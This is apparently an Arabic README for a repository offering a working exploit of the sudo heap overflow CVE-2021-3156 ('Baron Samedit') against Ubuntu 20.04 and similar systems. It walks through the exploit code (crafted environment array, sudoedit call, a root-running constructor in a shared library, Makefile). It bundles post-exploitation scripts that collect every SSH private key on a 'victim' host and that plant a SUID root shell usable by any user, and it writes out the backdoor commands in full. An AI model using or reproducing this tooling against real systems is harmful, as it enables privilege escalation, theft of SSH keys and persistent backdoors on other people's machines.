
استغلال لـ Ubuntu 20.04 باستخدام CVE-2021-3156 معزّز بسكربتات ما بعد الاستغلال
استغلال لنظام Ubuntu 20.04 باستخدام CVE-2021-3156، معزّز بنصوص برمجية بسيطة وآلية لمرحلة ما بعد الاستغلال
إلى جانب صلاحيات الجذر (root shell)، يمكنك الحصول على:
ملف .txt يحتوي على جميع مفاتيح SSH من نوع id_rsa المُعدّة على الخادم. انظر السكربت:
get_all_ssh_keys.sh
ملف تنفيذي باسم privshell يتيح لأي مستخدم تشغيل شل بصلاحيات الجذر (جارٍ العمل على إصلاح خطأ gcc). انظر السكربت: create_privshell.sh
من أجل الحصول على نتيجة ناجحة، من الضروري أن يكون الجهاز الضحية مثبتًا عليه أحد إصدارات نظام التشغيل و Sudo التالية:
Ubuntu 20.04 (Sudo 1.8.31)
Debian 10 (Sudo 1.8.27)
Fedora 33 (Sudo 1.9.2)

من أجل جعل جهازي الافتراضي (VM) قابلًا للاستغلال، قمت بتخفيض إصدار sudo الخاص بي باستخدام الأمر التالي:
$ sudo apt install sudo=1.8.31-1ubuntu1
يعمل الاستغلال طالما تم الوصول إلى النظام الضحية بمستخدم لا يتمتع بصلاحيات كبيرة.

يمكنك استنساخ المستودع على جهاز الضحية أو على جهازك المحلي وتحميله باستخدام wget

نفّذ الأمر "make" لتجميع ملفات .c وفقًا للثغرة

ستحصل على ملف الاستغلال، لذا يمكنك تشغيله باستخدام "./" بعد تشغيل الاستغلال، يمكننا الآن رؤية ملفين تم إنشاؤهما في المستودع: أحدهما يحتوي على جميع مفاتيح ssh المسجلة على النظام، والآخر يحتوي على الملف التنفيذي SUID الذي يمنح جميع المستخدمين جلسة بصلاحيات الجذر. (مظلّلة باللون الأرجواني)

قد ترى خطأً مشابهًا للخطأ التالي:

ما زلت أحاول حل هذا الخطأ، لكن أعتقد أن المشكلة في الشل الذي يولّده الاستغلال. جربت تشغيل الأمر ./create_privshell.sh بصلاحيات الجذر عبر الدخول باستخدام sudo su من مستخدم لديه الصلاحيات المناسبة، وكان تجميع السكربت ناجحًا. بدلاً من ذلك، يمكن تجميعه على جهاز آخر ونسخه إلى الضحية، ولهذا السبب يوجد طلب wget.
السكربت المراد تجميعه هو التالي:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
يمكنك الآن قراءة ملفات .txt التي تحتوي على جميع مفاتيح ssh واستخدام privshell إلى أن أقوم بإصلاح خطأ gcc

اكتُشفت من قبل Qualys
درجة CVSS: 7.8
CVE-2021-3156، المعروفة أيضًا باسم ثغرة "Baron Samedit"، هي ثغرة أمنية تؤثر على برنامج sudo واسع الاستخدام في أنظمة التشغيل المستندة إلى Unix. Sudo هو برنامج يسمح للمستخدمين بتشغيل الأوامر بصلاحيات مرتفعة، عادةً عن طريق إدخال كلمة المرور الخاصة بهم أو كلمة مرور الجذر. سبب الثغرة هو مشكلة تجاوز سعة المخزن المؤقت (buffer overflow) في خاصية "sudoedit" في أمر sudo، والتي تسمح للمستخدمين بتحرير الملفات بصلاحيات مرتفعة. اكتُشفت الثغرة لأول مرة في يناير 2021 من قبل Qualys Research Labs، وهي تؤثر على إصدارات sudo من 1.8.2 إلى 1.8.31p2 ومن 1.9.0 إلى 1.9.5p1.
المعلومات من: Qualys



بعبارة أخرى، الدالة set_cmnd() معرضة لتجاوز سعة المخزن المؤقت في الكومة (heap-based buffer overflow)، لأن الأحرف الخارجة عن النطاق التي يتم نسخها إلى المخزن "user_args" لم تُضمّن في حجمه (المحسوب في الأسطر 852-853).
بالنسبة لجزء التجاوز، استخدمت ملف الاستغلال exploit.c من redhawkeye/sudo-exploit
الأمر معقّد بعض الشيء لكنه سهل التفسير.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
هذا الجزء يصرّح عن مصفوفة من المتغيرات البيئية باسم env سيتم تمريرها إلى استدعاء النظام execve. تحتوي المتغيرات البيئية على سلسلة من الشرطات المائلة للخلف ومتغير مُصنّع خصيصًا باسم LC_ALL وقيمته "C.UTF-8@" متبوعة بـ 208 (0xd0) حرفًا من الأحرف A. سيتم تمرير القيمة C.UTF-8@ كمتغير بيئة LC_ALL إلى أمر sudoedit. وتُستخدم أحرف A البالغ عددها 208 لتجاوز مخزن مؤقت في برنامج sudoedit وتنفيذ كود تعسفي.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
هذا الجزء يصرّح عن متغير a يحتوي على سلسلة من 112 (0x70) حرفًا A، متبوعة بشرطة مائلة للخلف. ثم يصرّح عن مصفوفة argv سيتم تمريرها إلى execve. تحتوي المصفوفة على مسار أمر sudoedit (/usr/bin/sudoedit)، والعلم -s، والمتغير a المُنشأ أعلاه.
execve(argv[0], argv, env);
هذا هو استدلال النظام execve الذي يقوم فعليًا بتشغيل أمر sudoedit مع الوسائط والمتغيرات البيئية المقدمة. سيقرأ برنامج sudoedit متغير البيئة LC_ALL ويحاول تحليله كمسار ملف. وستُستخدم أحرف A الفائضة عن الحد لكتابة بيانات تعسفية في الذاكرة وربما تنفيذ كود تعسفي.
إذن هذه البيانات المحجوزة في الذاكرة من أجل تنفيذ الكود (RCE) سيستخدمها ملفنا shell_tool.c
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
هذا الجزء من الكود يصرّح عن دالة باسم sice مع السمة attribute((constructor))، مما يعني أنه سيتم استدعاء الدالة تلقائيًا عند بدء تشغيل البرنامج، قبل تنفيذ main(). داخل الدالة sice، يتم استدعاء الدالة setuid(0) لتعيين معرف المستخدم الفعّال للعملية إلى 0، وهو معرف مستخدم الجذر (superuser). وهذا يمنح البرنامج صلاحيات الجذر فعليًا. بعد ذلك، باستخدام الوسيط system("command") فقط، يمكننا فعل أي شيء نريده قبل ظهور جلسة الجذر في الطرفية، ولهذا أردت تجربة فكرة السكربتات، من أجل الحصول على بعض الأبواب الخلفية واستخراج البيانات قبل الحصول على شل الجذر.
حاولت كتابة نسختي الخاصة من الكود باسم mybufferof.c، وهي في الأساس مشابهة جدًا، لذا لا تتردد في تعديل ملف Makefile لتجربتها ههه.
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
أولاً نحتاج إلى تجميع الاستغلال ثم إنشاء المجلد "libnss_X". بعد ذلك، يقوم الأمر الأخير بتجميع ملف shell_tool.c وإنشاء ملف كائن مشترك (shared object) باسم X.so.2 في مجلد libnss_X:
العلم -g يولّد معلومات تصحيح الأخطاء لملف الكائن المشترك.
العلم -fPIC يولّد كودًا مستقلاً عن العنوان (position-independent code) للكائنات المشتركة.
العلم -shared يحدد أنه يجب إنشاء ملف كائن مشترك.
يتم وضع ملف الكائن المشترك الناتج X.so.2 في مجلد libnss_X الذي تم إنشاؤه في الخطوة الثانية.
هذا مهم لـ CVE، بسبب ما يلي:

بيانات من: Qualys
هذا كل شيء، استمتعوا، على ما أظن.